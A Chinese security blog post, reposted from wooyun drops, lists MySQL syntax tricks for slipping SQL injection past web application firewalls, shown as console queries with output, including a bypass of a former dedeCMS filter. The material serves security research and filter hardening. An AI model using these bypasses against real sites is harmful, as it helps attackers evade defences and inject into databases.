研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重新提及。
以下以Mysql为例讲述这些技巧:
(格式输出表的那个控制符)
绕过空格和一些正则匹配。
1
2
3
4
5
6
7
8
|
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
|
一个更好玩的技巧,这个控制符可以当注释符使用(限定条件)。
1
2
3
4
5
6
7
|
mysql> select id from qs_admins where id=1;`dfff and comment it;
+––+
| id |
+––+
| 1 |
+––+
1 row in set (0.00 sec)
|
usage : where id =’0’`’xxxxcomment on.
(注意这里是 – + . 三个符号)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
mysql> select id from qs_admins;
+––+
| id |
+––+
| 1 |
+––+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+–––––+
| +id-1+1. |
+–––––+
| 1 |
+–––––+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+–––––+
| -id-1+3. |
+–––––+
| 1 |
+–––––+
1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from ... 就是这样连起来过)
|
1
2
3
4
5
6
7
8
|
mysql> select@^1.from qs_admins;
+–––|+
| @^1. |
+–––|+
| NULL |
+–––|+
这个是bypass 曾经dedeCMS filter .
|
1
2
3
4
5
6
7
|
mysql> select-count(id)test from qs_admins;
+–––|+
| test |
+–––|+
| -1 |
+–––|+
1 row in set (0.00 sec)
|
1
2
3
4
5
6
7
|
mysql> //*!40000select/*/ id from qs_admins;
+––+
| id |
+––+
| 1 |
+––+
1 row in set (0.00 sec)
|
91ri.org小编语:waf现在作为防御入侵者的一道门槛,正在被逐渐的加强。而对绕过这类防护措施的各种技巧的研究也有助于安全研究者进一步认识自身不足,继续奋斗!上述这些想法思维能力真心NB。
好东西更需要分享给大家。
相关文章推荐《利用MySQL隐形类型转换绕过WAF》《通过HTTP参数污染绕过WAF拦截》
link:http://drops.wooyun.org/tips/132 (对原文稍作改动)
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号